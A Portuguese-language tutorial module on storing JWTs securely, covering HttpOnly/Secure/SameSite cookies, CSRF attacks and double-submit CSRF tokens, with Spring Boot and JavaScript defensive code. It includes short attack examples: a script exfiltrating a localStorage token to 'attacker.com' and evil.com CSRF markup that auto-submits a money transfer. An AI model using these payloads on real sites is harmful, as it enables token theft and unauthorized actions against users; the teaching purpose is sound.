O JWT foi emitido. O próximo problema é crítico: onde é que ele vive no browser?
A resposta errada cria uma janela de ataque permanente. Este módulo desmonta o mito
do localStorage, explica como o Cookie HttpOnly elimina
a superfície de ataque XSS sobre o token, e detalha a nova ameaça que os cookies
introduzem — o CSRF — e como a neutralizar.
localStorage é acessível a qualquer script JavaScript que corra
na página — incluindo scripts injetados por XSS. Um JWT num cookie HttpOnly
é completamente opaco ao JavaScript. Esta diferença é a fronteira entre seguro e inseguro.
É comum ver tutoriais a guardar JWTs em localStorage ou
sessionStorage. A justificação habitual é conveniência: é simples de ler,
de enviar em headers, de limpar no logout. O problema é fundamental — não é de
implementação, é de modelo de segurança.
localStorage é acessível a qualquer JavaScript que execute no contexto
da página. Um ataque XSS — mesmo que mínimo, mesmo que através de uma dependência
de terceiros — pode executar localStorage.getItem('token') e exfiltrar
o JWT para um servidor do atacante. A partir desse momento, o atacante tem a identidade
completa do utilizador até o token expirar.
// ✗ INSEGURO — token exposto ao JavaScript
localStorage.setItem('access_token', jwt);
// Ataque XSS: qualquer script injetado pode fazer isto
const stolen = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?t=' + stolen);
// ✓ SEGURO — cookie HttpOnly: JS não consegue ler nem modificar
// O servidor define via header de resposta:
// Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Lax; Path=/
document.cookie; // access_token NÃO aparece aqui — opaco ao JS
localStorage que o
teu código. Com HttpOnly, esse vetor de roubo de token é eliminado
estruturalmente.
Um cookie de autenticação em produção requer três atributos mínimos. Cada um fecha uma superfície de ataque distinta.
HttpOnlyO browser nunca expõe este cookie ao JavaScript. Não aparece em
document.cookie, não é acessível via fetch ou
XmlHttpRequest. Elimina o roubo de token por XSS.
SecureO browser só envia este cookie em ligações HTTPS. Impede a intercepção do token em redes não seguras (ex: Wi-Fi público). Obrigatório em produção sem exceção.
SameSiteControla em que cross-site requests o cookie é enviado. A primeira linha
de defesa contra CSRF. O valor recomendado é Lax para a maioria
das aplicações. Detalhado na secção seguinte.
// Definição no servidor — Spring Boot
ResponseCookie cookie = ResponseCookie.from("access_token", jwtValue)
.httpOnly(true) // opaco ao JavaScript
.secure(true) // apenas HTTPS
.sameSite("Lax") // proteção CSRF base
.path("/") // enviado em todos os paths da API
.maxAge(Duration.ofMinutes(15))
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
Ao resolver o XSS com HttpOnly, introduzimos uma nova superfície de
ataque: Cross-Site Request Forgery (CSRF). O comportamento que
nos protege de XSS — o browser anexar o cookie automaticamente — é exatamente
o comportamento que CSRF explora.
Num ataque CSRF, um site malicioso (evil.com) induz o browser do
utilizador autenticado a fazer um pedido ao servidor legítimo
(api.myapp.com). O browser, fiel ao seu comportamento, anexa o
cookie automaticamente. O servidor recebe um pedido com um JWT válido — mas
a ação não foi iniciada pelo utilizador.
<!-- evil.com — ataque CSRF silencioso -->
<img src="https://api.myapp.com/accounts/99/delete">
<!-- O browser carrega a imagem e envia o cookie automaticamente.
Se o endpoint não tiver proteção CSRF, a conta é apagada. -->
<form action="https://api.myapp.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>
O atributo SameSite instrui o browser a não enviar o cookie em
pedidos cross-site. É a defesa mais simples e mais eficaz para a maioria das
aplicações modernas.
| Valor | Comportamento | Recomendação |
|---|---|---|
Strict |
Cookie nunca enviado em pedidos cross-site, incluindo navegação normal por link de outro site. | ⚠️ Pode quebrar fluxos legítimos (ex: link de email para página autenticada). |
Lax |
Cookie enviado em navegação top-level por GET. Bloqueado em pedidos cross-site POST, iframe, img, fetch. | ✅ Recomendado para a maioria das APIs REST. |
None |
Cookie enviado sempre, incluindo cross-site. Exige obrigatoriamente
Secure. |
🚫 Só usar quando a API serve domínios terceiros legitimamente. Requer CSRF token adicional. |
Quando SameSite=Lax não é suficiente (ex: API cross-origin legítima
com SameSite=None), usa-se um CSRF token adicional. O servidor gera
um valor aleatório, envia-o num cookie legível (sem HttpOnly)
e exige que o cliente o reenvie num header customizado.
Um site externo pode forçar o browser a enviar os cookies, mas não consegue ler o valor do cookie de CSRF para o replicar no header — isto é a separação que prova origem legítima.
// 1. Servidor define dois cookies no login:
// access_token: HttpOnly; Secure; SameSite=None ← JWT, opaco ao JS
// csrf_token: Secure; SameSite=None ← legível pelo JS, sem HttpOnly
// 2. Frontend lê o CSRF token e envia em cada pedido mutável:
const getCsrfToken = () =>
document.cookie
.split(';')
.find(c => c.trim().startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken()
},
body: JSON.stringify({ amount: 100, to: 'friend_account' })
});
// 3. Servidor valida o header X-CSRF-Token contra o cookie csrf_token
@Component
public class CsrfValidationFilter extends OncePerRequestFilter {
private static final Set<String> SAFE_METHODS =
Set.of("GET", "HEAD", "OPTIONS");
@Override
protected void doFilterInternal(
HttpServletRequest req,
HttpServletResponse res,
FilterChain chain) throws Exception {
if (SAFE_METHODS.contains(req.getMethod())) {
chain.doFilter(req, res); return;
}
String cookieToken = extractCookie(req, "csrf_token");
String headerToken = req.getHeader("X-CSRF-Token");
if (cookieToken == null || !cookieToken.equals(headerToken)) {
res.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF token inválido");
return;
}
chain.doFilter(req, res);
}
}
Com cookies, o logout não pode ser feito apenas pelo cliente. O JavaScript não consegue
apagar um cookie HttpOnly. O logout tem de ser um pedido ao servidor, que
instrui o browser a expirar o cookie via Set-Cookie com Max-Age=0.
@PostMapping("/auth/logout")
public ResponseEntity<Void> logout(HttpServletResponse response) {
ResponseCookie expiredAccess = ResponseCookie.from("access_token", "")
.httpOnly(true).secure(true).sameSite("Lax")
.path("/").maxAge(0)
.build();
ResponseCookie expiredRefresh = ResponseCookie.from("refresh_token", "")
.httpOnly(true).secure(true).sameSite("Lax")
.path("/auth/refresh").maxAge(0)
.build();
response.addHeader(HttpHeaders.SET_COOKIE, expiredAccess.toString());
response.addHeader(HttpHeaders.SET_COOKIE, expiredRefresh.toString());
return ResponseEntity.noContent().build();
}
| Ataque | Vetor | O que compromete | Defesa principal |
|---|---|---|---|
| XSS | Script injetado na página executa no browser da vítima | Roubo do token se estiver em localStorage |
Cookie HttpOnly — token invisível ao JS |
| CSRF | Site externo força o browser a fazer pedido autenticado | Ações não autorizadas com sessão válida | SameSite=Lax e/ou CSRF token duplo |
HttpOnly não protege contra CSRF — protege contra XSS. São superfícies
de ataque distintas. A combinação HttpOnly + Secure + SameSite=Lax
fecha ambas para a maioria das aplicações. Quando SameSite=None é
necessário, adiciona-se CSRF token duplo.